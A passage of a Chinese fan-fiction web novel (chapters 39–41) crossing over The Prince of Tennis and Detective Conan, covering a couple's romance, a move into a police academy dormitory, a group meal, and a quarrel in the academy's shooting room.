[1]处的文字为《小王子》里的原句,并非原创。感谢在2024-03-20 22:06:55~2024-03-20 23:58:41期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:妙喵10瓶;L_x.ying 1瓶; 非常感谢大家对我的支持,我会继续努力的! 第39章 松田春奈心满意足地把手收回来,然后婉拒了男朋友的约会邀请。 还没从刚刚暧昧的氛围中抽离出来的迹部景吾,乍一听到女朋友的拒绝,以为是自己听错了。 他眨了眨眼睛,真诚地问道:“是我的睫毛做错了什么吗?” “噗嗤。”松田春奈被这句话诡异地戳中了笑点,笑了足足半分钟才停下来。 她擦着眼角的泪水解释道:“跟你的睫毛没有关系,是我这个周末需要搬家。” “搬家?你要搬到哪里?我可以过来贡献劳力。” 松田春奈砸吧了一下嘴,预感自己隐瞒男友的大业未半就要中道崩殂了。 凭着迹部的智商,只要自己说出来搬到警校的事,他肯定一下子就能发现不对劲。 迹部景吾看着眼前自顾自低头陷入沉思的女友。她的眉头轻蹙,像是在做什么重大决定一样。 他也不出声催促,只是静静地看着她的脸发呆。没过一会儿,玩闹的心思顿时涌上心头。 他之前看过一篇报道,说人在思考的时候,有一定的机率会不自觉地摆弄出现在眼前的东西。反正闲着也是闲着,为了验证这一论点,他掌心朝上,默默地把手伸到了松田春奈的眼皮子底下,好奇她会有什么反应。 松田春奈正将心比心地换位思考,要是此刻遭受威胁的是迹部的话,她希望他怎么做。 以前看电视剧的时候,她就最讨厌的情节就是男女主人公怀着为另一方的好的心思,然后像个据嘴葫芦一样什么都不说,导致他们最后因为误会分开。 同理,如果类似的事发生在了迹部身上,她其实也希望他不要事事瞒着自己,而是说出来两个人共同面对。 逐渐想通了的松田春奈看着迹部像数学题里龟速移动的蜗牛一样,缓缓地把他的手掌挪动到两人的中间。骨节分明,宽厚有力,如同雕塑师最完美的作品。 顺理成章地,她凑过去把玩了起来。先是摸摸掌心上的薄茧,然后又轻轻地摁了几下,硬硬的,和他的骨节一样。 迹部景吾感觉自己像是变成了女朋友的玩具,从睫毛到泪痣,再到如今自己主动献上去的右手。 她像是个新奇的孩子,对一切都抱有旺盛的好奇心。这边捏捏,那边戳戳,玩得不亦乐乎。 玩到后面,可能是觉得他的手放在座位上耽误了发挥。松田春奈拽拽迹部的胳膊,示意他离自己再近一点。 迹部景吾小心翼翼地挪了挪,确保两人的腿部之间还留有一小块安全距离后,然后继续当人肉玩具。 由于时间久远,那家发表这篇报道的杂志他已经记不清名字了。不然,他绝对要给杂志社送一条锦旗。 看着松田春奈一时半会没有停下来的意思,他干脆将自己一分为二。右半边身体老老实实地当着女友的临时玩具,另一边则继续兢兢业业地批改余下的计划书。 不知道是不是得偿所愿的缘故,此时他的效率比任何时候都要高。 松田春奈看着迹部一脸认真工作的样子,顿时觉得再没有比现在更好的坦白时机了。就算是敏锐如他,在一心二用的情况下,注意力或多或少也会分散一些吧。 说干就干,给自己做好思想功课以后,松田春奈学着电视上看过的桥段向他撒娇道:“景吾,我有件事想先和你坦白,但你得答应我,听完之后不许生气。” 闻言,迹部景吾立刻把合同放到一边,转头定定地看着她,脑海里不好的念头一个接一个地冒出来。 这可是两人确认关系之后,她第一次对自己撒娇,可见她口中事情的严重性。 想到这里,他的唇角抿起,呼吸都变得急促起来。 松田春奈没想到自己一个前摇就让他反应这么大,让她原定的计划直接被打乱了一大半,想说的话也噎了回去。 迹部景吾看着她支支吾吾,不敢正眼直视自己的样子,心渐渐往下坠。他努力开导自己,总不能刚在一起就说分手吧。 “这件事很严重吗?你这样搞得我有点害怕。”他笑着缓解了一下气氛。 他说话的语气虽然是一派轻松,但身体却从一开始歪斜地靠在椅背上,变成了现在身板挺直,俯身看她的样子。 事到如今,也来不及再搞什么铺垫了。 松田春奈一股脑地把小岛健太背后还有个幕后指使的消息告诉了他。只不过一开始还是正常音量,越往后,声音越小。说到最后,音量近乎于无。 看着迹部脸色有些严肃,松田春奈立刻把他刚刚说过的话搬出来:“你可是保证过你不生气的。” 迹部景吾刚因为她不是要和自己说分手的事松了口气。然而这口气还没等他呼出去,马上又被幕后黑手其实另有其人这一更重磅的消息给砸个正着。 心率在短短几分钟之内起伏颇大,拉成心电图的话,走势能堪比他打网球前进行的热身活动。 “啊嗯?我有说过吗?”察觉到松田春奈为了不和自己对视,一直用头顶和他打招呼。迹部景吾一边继续兼职着“女友指定”的手模工作,一边说道,“我还没来得及保证,春奈就——” 松田春奈立刻气鼓鼓地抬头看着他,把他的手重重地往旁边一甩,叉腰道:“好啊,那你现在是要和我生气吗?” 眼看着女朋友终于肯用正眼看自己了,迹部景吾得偿所愿,乖巧摇头道:“我不是生气,只是有些伤心。” 一听这话,松田春奈的气立马短了一截。 迹部景吾乘胜追击,继续进攻:“可能是我太没用了吧,才会让女朋友连遇到危险都想瞒着我。” “ ”松田春奈自知理亏,憋了半天来了句,“那我要怎么做,你才能开心起来?” “明天搬家的时候,我也想过来帮忙。”迹部景吾来了劲头。 “”松田春奈无语道,“你确定?我是要搬去警校,而且你刚刚见到的那些哥哥们也都会过来帮忙。” 迹部景吾坚定地点头:“警校也没什么,反正都是你哥哥的未来同僚,大家以后早晚都会见面。” 他给自己打气,明天就等于提前见未来的亲友团了。早见总比晚见强,还能赚点印象分,简直百利而无一害。 松田春奈看他态度如此坚决,继续道:“这样就行了吗?” 迹部景吾一看还有机会,赶紧顺竿爬。 “再加上一条,还要和我签署互不隐瞒条约。” “ 怎么签署?” “拉勾就行。” “ ” 本来还以为这次要大出血的松田春奈诧异极了,他提得这两个要求对她来说根本没有难度。 她看着自己眼前的手指,小拇指轻轻地勾了上去,挑眉道:“就这么简单?你不怕我以后反悔吗?” 两人的大拇指在空中紧密相贴,形成了稳定的结构。 迹部景吾想了想,点头道:“说得也有道理,那我就再加一层保险好了。” 说完,他低头吻向两人勾连的指腹处。 松田春奈压根没反应过来,闪躲不及,只是呆呆地看着这一幕。 他柔软的嘴唇一触即离,比划过天际的流星还要短暂。 一吻过后,迹部景吾抬头看她,笑着问道:“这下印象足够深刻了吗?” 他们的手还交叠在一起,维持着拉勾的动作。 松田春奈下意识想把手收回来,没想到用力过猛,把迹部也连带着拽了过来。 两人四目相视,车内的空气一下子停止了流动。 松田春奈心跳如鼓,眼神四处乱瞄,伸手推他,想让他离远点。没想到她手下的肌肉比刚刚摸到的茧子还要硬,根本推不动。 他整个人坚如磐石,没有丝毫后移的迹象。 “春奈是怕我听不清,所以才故意拉近距离和我说话的,是吗?”迹部景吾不动声色地控制着两人的安全距离,笑吟吟地继续追问道。 “那现在可以告诉我了吗,春奈以后会反悔吗?” 松田春奈背靠着车门,眼前是他放大的俊脸,嘴唇一张一合,透着股一切尽在他掌控之中的自信。 被挑衅的感觉再一次来临,她抬起下巴,露出了纤细修长的脖颈,硬撑着说道:“要是以后反悔的话,你会怎么样?” 迹部景吾挑眉,细细地端详着她的五官,目光如有实质地在她的脸上划过,最后停在了她的眼睫处。 他的嗓音低沉,像是来了兴致:“那我就继续加第二层保险。” “!” 松田春奈没想到他会这么大胆,震惊极了。 顿了一秒,像是怕她没听懂,迹部景吾意味深长地解释道:“就像我刚刚加第一层保险那样。” 想到他嘴唇柔软的触感,松田春奈的脸上泛起了一层红晕。 跟她玩这个是吧? 她秉持着先下手为强,后下手遭殃的想法,决定主动出击。 松田春奈的目光直勾勾地盯着距离自己不过几寸的泪痣,暗中给自己打气。她用手撑着座位,瞄准方向后蓄力,像个小炮弹似的—— 稳准狠地亲了过去。 “啵”地一声。 平地一声雷。 迹部景吾根本控制不住自己的表情,瞪大眼睛,伸手捂住自己的脸,像是被恶霸占了便宜的小媳妇,手忙脚乱地向后移动。 “你你这是”他连话都说不利索了。 原本平静的心湖,像是突然降下了陨石,震得他慌乱无章。 主动亲人和被别人亲完全是不同的感受。 这个吻,与其说是亲,不如说是撞更贴切。 少女略带濡湿的嘴唇在剧烈的碰撞过后,迅速染上了一抹殷红,而后又渐渐消弥。 像是花火大会上最灿烂的烟花,在尽情绽放的瞬间就开始消散,只余下星点的火花让人无尽地回味。 幼时的他,因为想一直欣赏烟花在空中绽放的样子。父母的做法可谓是简单粗暴,索性让人买了一堆回来,然后带着他不停地燃放,直到他看尽兴了为止。 烟花可以靠不停地燃放来维持住短暂的瞬间,那唇角的红呢? 迹部景吾目光灼灼,喉结情不自禁地滚动了一下。 松田春奈看着他舔了舔干燥的唇角,觉得自己更胜一筹,得意一笑:“我想了想,第二层保险还是我自己来上比较合适。” “你的互不隐瞒条约我签下了,以后不光是我,你也要说到做到才行。” 迹部景吾的嗓子现在干涩得很,完全说不出话来,只是点点头做回应。 松田阵平在家里等得不耐烦了,轰炸机似地发来消息问她怎么还不回去。 一想到还有人没被抓捕归案,迹部景吾也安心不下来。他抢先下车,绕过去给她打开车门:“之前答应过的,今天我送你回家。” 看着眼前的绅士手,松田春奈想着既然他们连脸都亲了,那牵手回家也是正常的。于是主动推进进度,把手伸了过去。 迹部景吾关上车门,掌心一转,两人顺势变成了十指紧扣的姿势。 他牢牢地握住她的手,像是握住了自己的未来。 微风轻拂,此刻他们的步调一致,方向一致。像是未来的一幕在他的面前突然上映,温馨得让他想要把瞬间留住。 以前看哈利波特时,他虽然也曾遗憾过自己没有收到过猫头鹰寄来的通知书。但却从未像此刻一样,如此憎恨自己是个不会魔法的麻瓜。 再高级的相机,也只能存住二维的瞬间,然而这些生动的瞬时记忆却永远无法再重现。 譬如现在拂过他衣角的风,她发顶传来的香气以及自己内心满得快要涨出来的快乐。 短短几分钟,迹部景吾觉得自己已经把两人未来的婚礼流程都安排好了。 他现在名下的那座私人岛屿还不够大,据说夏威夷的拉奈岛气候不错,到时候可以包机把客人请过去。 估计他是正选之中最早结婚的,所以伴郎他应该也可以随便选。 春奈哥哥的警察后援团确实是个难题,不过没关系,届时他可以把青学,立海大的那些人都叫过来帮忙撑场子。 也不一定就会落得下风。 他们会伴着音乐,就这么手牵着手直接进场,迎接众人的祝福。 至于那时是十指紧扣还是普通的牵手—— 他都可以,主要看他身边这位。 作者有话说: 感谢在2024-03-20 23:58:41~2024-03-25 01:12:55期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:海神10瓶;布蕾脆脆3瓶;孔子一米九、九九、L_x.ying 1瓶; 非常感谢大家对我的支持,我会继续努力的! 第40章 松田阵平早已习惯性大包大揽所有和松田春奈有关的事务,在搬家这件事上也毫不例外。 周日当天,松田春奈早早地就被他叫醒。 “你们不是规定下午才返校吗?至于这么早就叫我起床吗?”她在床上抱着被子来回打滚,就是不愿意睁开眼。 松田阵平走过去,把窗帘“哗啦”一声拉开,然后按部就班地开窗通风。 阳光顿时落到松田春奈的眼帘上。 早春的风还有些微凉,被这么一吹,再浓的睡意也会马上消失。 “快去洗漱吃饭。”看到她终于从床上挣扎着起来,松田阵平满意道,“今天我们早点过去,提前带你熟悉一下校园环境。” 她刚出房门,就被客厅里堆积的行李给震惊到了:“哥!我只是去警校借住,你没必要搞得这么夸张吧。” “床单也就算了,为什么被子还要从家里带啊喂!”她像个小仓鼠一样,蹲在收纳袋前挨个视察过去,“这一箱酸奶又是什么鬼啊!” “学校发的被子都是从柜子里直接拿出来的。”松田阵平顺手把她的被子叠好,“里面可能有霉菌,而且还不暖和。” “你不是喜欢喝这个牌子的奶吗?学校里没有卖的,我昨天现出去买的。” “那也不用拿这么多东西吧。”松田春奈低声嘟囔道,“本来我去你那里暂住就很奇怪了,更别说还带着这么多东西。万一你的同学觉得我是事儿精怎么办?” 不知联想到了什么,松田阵平一脸严肃:“警校虽然比外面安全,但是哪里都有人渣。要是有人敢找你麻烦,千万别直接硬刚。直接来告诉我,我去解决,听见没有?” 松田春奈试探道:“你们学校有很多人看你不顺眼吗?那我住进去岂不是自投罗网?” “不遭人妒是庸才。”松田阵平一甩头发,洋洋得意道,“你哥我这么优秀,肯定有很多人看我不爽,这是正常现象。不过他们也没下作到去特意找你麻烦的程度,我就是给你提个醒。” “ ” “你怎么这个表情?” 松田春奈揉揉脸颊,给他附送了一个标准的营业假笑:“没什么,只不过为你的钝感力感到惊叹而已。” 松田阵平打开她的衣橱,一边给她收拾这一周的衣服,一边说道:“你记住一点就行,以后不论何时,但凡遇到危险一定要第一时间告诉我。” “知道啦。” 接下来的时间,松田阵平忙得就像一个仓鼠。只不过区别是,仓鼠是往腮帮子里储粮,他是往行李箱里硬塞。 “看着不像是搬过去暂住的,倒像是逃难的。”松田春奈精准点评道。 * 等到警校组全身上下挂满了大包小包,终于把行李运到了女寝楼下时,才发现最重要的一件事情被他们给忘了。 刚进一楼大厅,宿管阿姨就冲着他们几个男的一摆手,言简意赅道:“女生宿舍,男生免进。” 松田阵平一敲脑袋,怪不得他总觉得落了什么事。 千算万算,却把这点给漏算了。 看着地上的行李,松田春奈傻眼了。 警校虽然刚得到了捐款,但大部分都投入到器械的更新和科研等方面了,宿舍楼的条件就相对差一些,没有安装电梯,需要学生每天腿着上下楼。 在学校需不需要安电梯这件事上,领导一致认为,走楼梯也是种锻炼学生日常素质的方式。 更让她感到绝望的是,学校为了安全起见,特意给她安排了最高层的宿舍。 也就是说,接下来她需要一个人把这四个28寸行李箱外加若干零碎东西分批运上六楼。光是想想就让人觉得眼前一黑。 松田阵平在给她收拾行李时,为了在有限的空间里容纳尽可能多的东西,特意把大件物品用真空打包,像玩俄罗斯方块一样找准角度把它们塞了进去。 所以,这些行李箱的实际重量绝对远超它们的外观。 就连这些拥有绝对恐怖实力的“大猩猩”,在拎箱子的时候也得先深吸一口气蓄力才行,更别提她这个小身板了。 别到最后行李没搬上去不说,把自己腰还给扭了,简直得不偿失。 松田春奈当机立断,把装着日常用品的行李推到一边。打算轻车简从,只带着自己的书本,校服和洗漱用品上去。 “哥,这些东西我不拿了,先放到你们宿舍吧。” 松田阵平眉头紧锁:“学校里的床上用品需要提前申请才能拿,我想着这些你用家里的就行,当初就没给你申报” 松田春奈绝望了。 萩原研二出声道:“要不,我找几个女生帮春奈妹妹一起搬上去吧?” 异性缘好的优势在此刻终于展现出来。 他一点开通讯录,上面一水的女生电话号码,往下滑都滑不完。 松田春奈强烈怀疑,他的手机里可能涵盖了他们这一届所有女生的联系方式,甚至还包括方圆十里的其他学校。 “谁的男生缘最差我不知道,但研二哥的男生缘一定是最好的。”她由衷地感叹道。 “春奈猜得真准。”诸伏景光失笑道,“每天都会有人去萩原那里问女生的手机号,虽然他从来都不会给。” 萩原研二联系了几个关系比较亲近的同学,大家的回复都很一致—— 又没到集合的时间,回什么学校!多在外面享受一秒自由都是血赚。 还有一位女生反问他,平时他们几个都是踩点回校,怎么这次如此反常。 事已至此,松田春奈长叹一声,打算认命了。看来她今天出门忘记看黄历,运势着实太差。 她拉着行李箱就要往楼上走,此时一位身材高挑的女生拎着快递走了进来。 “哟,松田,这就是你妹妹是吧?你们俩可真像,头发简直是一个模子里刻出来的。”她特意过来和他们打了声招呼。 终于有救了! 松田阵平眼前一亮,快速说道:“石田!能麻烦你帮我妹一块把东西拿到六楼吗?中午我请你去三楼吃小炒。” 石田百合恍然道:“主任昨天刚跟我说过,今天会给我安排个新室友,不会就是你妹妹吧?” 两人一对宿舍号,发现还真是巧了。 松田春奈对着初次见面的大姐姐乖巧问好,让人忍不住心生怜爱。 石田百合是家里最小的孩子,一直都是管别人叫哥姐的份。乍一听到有小姑娘甜甜地叫自己姐姐,内心十分受用,恨不得抓着人家让她再多叫自己几声。 松田阵平几人跟她关系不错,笑嘻嘻地让她帮忙照顾一下自己妹妹,条件随便提。 石田百合毫不客气:“吃完饭去器械室给当我陪练。” 松田阵平点头答应了,打算下午带着松田春奈一块过去。在警方没抓到九鸟县的犯罪嫌疑人之前,他打算在警校给她实施军事化管理。 石田百合又叫了几个留校的女生下楼,一起过来帮忙搬行李。警校的姐姐们各个英姿飒爽,制服一穿,帅得她七荤八素的,颠颠地围在她们周围献殷勤。 感谢天,感谢地,感谢命运让她们相遇。 毫不夸张地讲,此时此刻在她的眼里,这些大姐姐的身上仿佛有一层圣光。 大家几下就把行李分割完毕,特意让松田春奈拿着最轻的跟在她们后面。 “不用担心,我们在实训中扛得可比这些重多了。”看出来她有些不好意思,石田百合爽朗一笑,“再说了,呆会儿你哥还要请我们吃饭呢,三楼的小炒可不算便宜。” “我一听说要去三楼请客,立马就下来了。” “哈哈我也是。” 松田春奈好奇道:“警校的食堂很难吃吗?” 同行的另一个女生即使双手都拎着重物,但还是大气不喘,接话道:“算是无功无过吧,主要是三楼的厨师手艺太牛了,据说他之前在那种连锁的大饭店干过。” “我怀疑他做炒鞋底都好吃。” “ +1” 说说笑笑间,几人就到了宿舍。 房间虽然不大,但却很整洁。窗台上还养了几盆绿植,绿油油地,一看就被主人养得很好。 秉持着帮人帮到底,送佛送到西的态度。几名女生热情极了,顺手打开她这边的衣柜,打算帮她一块把床单铺了。 “咦,春奈妹妹,你柜子里怎么是空的,你哥哥他是不是忘记领床上用品了?” 松田春奈打开贴着“床上用品”标签的行李箱,里面的被褥“砰”地一下弹了出来:“床上用品我从家里直接带过来了。” “真没想到——” 几名女生对视一眼,叽叽喳喳地感慨。 “松田竟然还能有这么细的一面。” “就是就是。我一直以为,就凭他的情商,这辈子都得孤独终老了。” 人多力量大,她们平时的内务整理也不是白干的,几下就把她带来的东西归置齐整。 看上去很是温馨,颇有种家的感觉。 石田百合满意极了,一打响指:“走,咱们去三楼吃小炒!” 警校组连带着几名女生,浩浩荡荡地上了三楼。 松田阵平很是大方,把菜单递过去让女生随便点,反正他们几个大男生无所谓什么忌不忌口。 石田百合她们估摸了在场的人数,略略点了几道就停下了。 三楼的饭菜固然好吃,价格同样非同一般。除了个别富家子弟,大家都是偶尔才会上来犒劳一下自己。他们这一群大胃王,要真是放开了吃,估计能把他吃得留在这里刷碗还债。 松田春奈自告奋勇地起身去前台送菜单,故意站在他们的视线盲区处,偷摸又点了不少菜。 在食堂兼职的学生友情提醒道:“小妹妹,这些饭菜可不便宜,你家长知道这件事吗?” 松田春奈点点头,然后掏出卡把钱结了。 看着卡上的余额,她第一万次感谢自己来到了冰帝。 就凭这丰厚的奖学金,在校期间谁也别想和她争第一! 时值周日中午,三楼空荡荡的,只坐了他们一桌。服务员上菜的速度很快,不一会儿就把餐桌摆满了。 石田百合洗完手回来后,发现桌子上摆了一大堆自己没点过的菜,声音颤抖道:“我就点了六道菜,怎么上来这么多?” 她粗略一算,看来不止松田阵平要在这里洗盘子了,他们几个一个也逃不了。 “剩下的是我点的。”松田春奈捧着果汁笑眯眯地说道,“为了感谢各位哥哥姐姐帮我搬家,所以今天我请客。” “好啊松田阵平,原来你是富二代啊!” “真看不出来,隐藏得可够深的。” 松田阵平一拍桌子:“我要是富二代的话,现在就打车去揍警视——呜呜” “春奈妹妹的身家可是咱们当中最高的。”还没等他说完,萩原研二立刻上去把他的嘴捂住,转移话题道,“冰帝的奖学金比咱们每月的补贴高上好几倍不止。” 闻言,石田百合咬着筷子,发自内心地真诚问道:“春奈妹妹,我这个年纪还能去冰帝上学吗?” “不是钱的事,单纯是为了怀念那些逝去的高中岁月。” “那要是多拿几次奖学金,毕业都能买辆车了。”扎着马尾的女生感叹,“不愧是冰帝,果然够壕。” 对于传说中的贵族学校,大家或多或少都有些好奇。女生们一边给松田春奈投喂,一边拜托她多讲点八卦给大家长长见识。 看着她们气氛和谐,聊得颇为投机的样子。萩原研二在松田阵平耳边说道:“春奈妹妹的亲和力真不是盖的,这点你可得多向她学习。” 松田阵平把发小的手拍掉,久违地打开手机银行,查看自己的当前余额。 萩原研二知道他这是大兄长主义作祟,打算把这顿饭钱给妹妹转过去,于是凑过去说道:“钱够吗?不够的话我给你转点。” 松田阵平大致估摸了一下,把钱只多不少地转给了松田春奈。 看着手机里的余额消息提醒,他叹了口气,难得有些沮丧:“春奈在冰帝三年的奖学金加起来,估计比我上班三年赚得都多。” 降谷零安慰他:“我查过资料,迄今为止,从警部补晋升到警视总监用时最短的那位只用了25年。说不定你比他还快呢。” “25年?!还用时最短?!”松田阵平破防了。 “那位之所以晋升时间短,是因为他的父亲是内阁大臣。”诸伏景光冷静道,“不过等松田升到警视正的时候,年薪差不多就能超过春奈的奖学金了。” 伊达航掐指一算:“快了,按照正常升迁速度来讲,还有十三年。” 松田阵平:“” 松田阵平:“就没有什么来钱快的法子吗?总不能未来这几年都让春奈请客吧?” “可以考虑去当黑警。高风险高回报。”诸伏景光语出惊人,“等你落网的时候,记得call兄弟们一声,让我们去亲自逮捕你。说不定还能发挥最后的余热,让大家升职加薪。” 松田阵平做死鱼眼状望过去:“” “没办法,来钱快的路数都写在法律里了。”降谷零开口,“你平时可以去研究一下,看看能不能钻钻空子。” 萩原研二一脸认真:“小阵平,要不你干脆认春奈当姐姐算了。” “松田,以你的姿色,去当公关应该没什么问题。”伊达航满脸正直,“只有一点,工作的时候记得当个哑巴。” 松田阵平顿感自己交友不慎。被这群损友不但不帮忙,反而还到处添乱的态度搞得无语凝噎。 他算是想清楚了,要想法发财,靠天靠地都不如靠自己买彩票。 万一呢是吧? 作者有话说:《 》 40-50 第41章 三楼小炒的味道确实不错,质量和冰帝食堂有得一拼。吃饱喝足之后,其余女生打道回府,石田百合为了和松田阵平切磋,先一步跑到器械室热身去了。 走出食堂大门,松田阵平一眼看出妹妹想往宿舍溜的心思。他长臂一伸,像猫科动物叼崽子一样,一把捏住她的后脖颈。 松田春奈顿时动弹不得,抗议道:“放开我,我也要回宿舍休息!” “等你今天加训完,就可以回去休息了。”松田阵平冷血无情道,“你要是不怕丢人,咱们就全程保持这个姿势走到器械室。” 松田春奈被他的独裁主义气得七窍生烟:“你别得意,等我格斗水平上来了,一定要你好看!” “相信我,我比你更期待着那天的到来。”松田阵平笑了,“现在我再问你一遍,你要去加训吗?” 松田春奈仰着脸冲他狠狠地“哼”了一声,咬牙切齿道:“我去。” 松田阵平再她答应之后,就立即松开了手。松田春奈凶巴巴地瞪他一眼,像个刚出生不久的小老虎。自以为厉害得很,却毫无杀伤力。 知道她消气需要时间,松田阵平不敢再招惹她,怕真把人惹毛了不好收场,特意走在前面带路。 松田春奈想回宿舍睡大觉之心不死,在后面磨磨唧唧地问道:“研二哥,你们警校的器械室,我一个外校生也能进吗?” “别人可能不行,但你绝对可以。”萩原研二一本正经地点头。 “?什么意思?” “托你的福,我们的器械室最近刚换了一批新货——全是用那些富豪捐来的钱买的。” 松田春奈:“” 松田春奈:“不是,我现在把我的银行卡号告诉那些富豪们还来得及吗?” 有没有搞错,她比警校更需要捐款啊喂! 她本人的具体信息虽然需要保密,但是她的银行卡号不需要啊! 到了器械室后,松田阵平让其余几人看着她,重点声明别被她趁机溜了,自己则下场去和石田百合对打。 看着蹲在地上,嘴巴撅得能挂住酱油瓶的松田春奈,其余几人有些打怵。 好在在带孩子这方面,萩原研二颇有经验。 他挺身而出,走过去和她并排蹲着,低声问道:“春奈妹妹,你想去玩枪吗?” “!” 本来还觉得百无聊赖的松田春奈立刻抬头。 如果她身后有尾巴的话,现在肯定已经摇成了直升机螺旋桨的样子。 她震惊道:“我连枪也能玩吗?你确定?” 警校组从她的肢体动作中明确看出来,她的兴趣已经完全被钓了起来。 诸伏景光努力哄孩子:“当然!上面说了,在学校里你去哪都行,干什么都可以——只要不违法犯罪。” 松田春奈一个蹦高,又恢复了平日里的元气,兴冲冲道:“那换我去当校长也可以吗?” 降谷零:“ ” “一个想揍警视总监,一个想当警校校长。”他新奇地看着她,像是又重新认识了她一样,感叹道,“你和你哥真不愧是一家人。” “谁要和他像一家人啊!有他那么凡事都一言堂的哥哥吗?”松田春奈原本已经变得奄奄一息的怒气值,又被猛地浇了一勺油,烧得更旺了。 降谷零自知失言,拼命给其他人使眼色。众人一哄而上,有绞尽脑汁想笑话逗她开心的,有七嘴八舌贬低松田阵平说他不对的,杂七杂八地说了一通,才让气氛又慢慢好转起来。 为了防止言多必失,降谷零趁热打铁直接带着她去了隔壁的射击区域。其他几人则因为短时间内高强度的用脑活动,留在原地休息片刻。 伊达航看着他们离去的背影,感叹道:“哄孩子可比哄女朋友要累多了。” 萩原研二累得连白眼都懒得翻了:“行了,班长。都知道你有女朋友了。你要是再炫耀的话,可别怪我们心狠手辣,换你进去替降谷带孩子。” 伊达航立刻闭麦躺平。 真是奇怪,平时训练的时候,就算负重跑几十千米也只是身体感到疲劳而已。相比较而已,哄孩子明明没什么大的运动量,但却让人觉得身心俱疲。 也不知道娜塔莉愿不愿意丁克。 降谷零为了给自己刚才的失言赔罪,精挑细选了一把适合她用的空枪给她做讲解:“这把枪自重轻,扳机力度小,还能选配加长弹匣,比较适合力气小的女生用。” 在他的示意下,松田春奈轻轻地摸了摸,材质有些凉。 上面的凹槽和还有磨砂的纹理雕花非常精致,枪膛熠熠生辉,在白炽灯的照耀下,枪身的金属光泽衬得这支枪很是酷炫。 简单介绍完这支枪的基本情况之后,降谷零开始上手拆卸:“第一步是固定的,一定要先检查枪里有没有子弹。这里是弹匣,按这里就可以把枪支和弹夹分开。” 他坐在地上低头教松田春奈辨认各个零件。他的声音平稳,语速适中,全程没有一句废话。手指灵活有力,在零件中自由飞舞,动作丝滑得像是在拍宣传片。 这时,射击室的大门又被推开了。 两个黑发的男生走了进来,其中一人在经过降谷零身旁的时候,状似不经意地撞到了他的后背。然而却当作什么都没发生一样,继续往前走了。 两人嘴里还意有所指地聊着天:“日本警校里竟然有金色头发的人,真是太可笑了。” “喂!前面的两位!”松田春奈看着那两个人丝毫没有道歉的意思,立刻出声道,“撞了人不知道道歉吗?幼稚园老师都有教过的道理,都这么大的人了怎么还不懂啊?” “嘿!你这个——”高个子男生猛一回头,正打算教训人。定睛一看却发现松田春奈满脸的学生稚气,又咽下了原本想说的话,“看你是小孩的份上,这次先放过你。” 松田春奈定定地看着他们,眼睛也不眨一下地继续说道:“道歉!” 她的话掷地有声,在空荡的场馆里甚至有了回音。 “你旁边这个人都没说话,用得着你来多管闲事?”高个子男生转过身来继续输出,“再说了,我刚刚说得哪里不对吗?谁知道他是不是别的国家安排的间谍,来我们国家刺探情报。” 矮个子男生看着松田春奈越发觉得眼熟,总感觉在哪见过的样子。 “只要你撞了人,不管别人要不要求你道歉,你都需要这么做啊。这个道理很难理解吗?”松田春奈觉得眼前的人好像脑子不大好,像条追着路人狂吠的疯狗。 “而且人家政审都通过了,录取的老师都没有意见,你还搁这儿怀疑上了。我看你比谁都更像间谍!” “你说什么?”高个男生感觉自己受到了极大的侮辱,向前走了几步,怒气冲冲地看着她说道:“你再说一遍?谁像间谍?” 降谷零立刻把松田春奈拦到自己身后,矮个子男生担心同伴对她动手,也在一旁劝解。 别看降谷零虽然长着一张娃娃脸,但身材却十分高大。他肩膀宽阔,往旁边一挪,就把松田春奈挡得严严实实。 虽然那人肌肉虬结,但她却一点也不害怕,丝毫不知道什么叫认怂。 松田春奈揪着降谷零的衣服,把脑袋从他的身后露出来,继续说道:“本来就是。你不是间谍的话,为什么要给一个这么优秀的学生身上泼脏水?” “啊!我知道了!你肯定是这一届的综排第二,之所以想把降谷哥赶走,是因为你想独占奖学金。我说得对不对?”她一打响指,恍然大悟道。 高个子男生被她的脑回路搞懵了,下意识反驳道:“警校奖学金就那么一点,我要它干嘛?还不够塞牙缝的。” 降谷零冷静指出:“我们这届的综排第二不是他。” 高个子男生瞬间跳脚:“怎么?你是第一了不起啊?” “那他干嘛看你这么不顺眼啊?”松田春奈不解道。 高个子男生恼羞成怒道:“要你管!” “不管也行,那你道歉吧。” “ ”高个子男生被她一噎,安静了几秒,随后又朝着降谷零冷笑道,“好啊,你竟然还敢带校外人士进警校,而且还是射击室。你等着被开除吧。” 松田春奈都快对他这种屡战屡败,屡败屡战的找茬精神给感动了。 “我进来可是经过校长批准的。”她说得振振有词,“他老人家说我哪都能进,不信你去问他!” 看着她一脸嘚瑟的样子,高个男生有些拿不准了。 这嚣张跋扈的样子确实颇有二代的遗风。 矮个子男生终于想起来她像谁了,猛拽同伴的袖子:“哥,你看她像不像外面那个人的妹妹?就是正和女生切磋的那个!” 高个子男生看了看她的五官,别说,确实挺像。但她的五官明显更柔和精致一些。 她要真是松田那家伙的妹妹的话,搞这么一出就再合理不过了。 怪不得嘴巴这么毒,跟抹了砒霜的机关枪似的,弹不虚发,专门往你心口上戳。 俩人还真就不是一家人,不进一家门。 但是,入校这么久了,他也没听说松田和校长有关系啊?怎么他妹妹这么嚣张?简直比她哥还更胜一筹。 “贼喊捉贼。”松田春奈抓住矮个子的言语漏洞,“你还有本事说别人,你自己这不也带外校人进来了。你要是不道歉的话,就等着被我告老师退学吧。” 高个子男生:“” 这绝对是松田他妹妹没跑了。和他一脉相承的利嘴。 他淡定道:“我带人进来也是经过校长同意的。” 哈?松田春奈开始疑惑了。 不是,这位校长每天到底都在做些什么工作啊? 不好好闷头搞事业,天天在办公室里批条是吧? 松田春奈:“降谷哥,我现在是真的觉得,我可能比你们的校长更适合当校长。” 再怎么样,她也不会让这么多外校人进警校。相反,她说不定还能时不时给学校拉点赞助,搞点创收啥的。不比现在这位等着天上掉馅饼的校长强多了。 降谷零长了记性,这次没再张口反驳她。 既然大家都是关系户,那就大哥不说二哥。 “要想让我给他道歉也行。”高个子男生转了转眼珠,想出了个法子,“刚刚你们在拆枪是吧?呆会儿你和我弟弟就现场比这个。要是你赢了,我立刻给他道歉。” “并且保证以后不再故意找茬。”松田春奈补充道。 他显然是对自己弟弟的技术很有信心,根本不觉得他们会输。 于是无所谓地点了点头:“并且我以后绝不去故意找茬。” “成交。”松田春奈开口道,“不过今天是我第一次摸枪,等我熟悉完之后再开始比赛可以吧?” “要是你一直墨迹,故意拖着不和我们比怎么办?我们总不能一直在这里不吃不喝地等着你吧。” 松田春奈:“” 她真是好久没见过这么标准的反派了,简直就是以小子之心度君子之腹的现实版本。 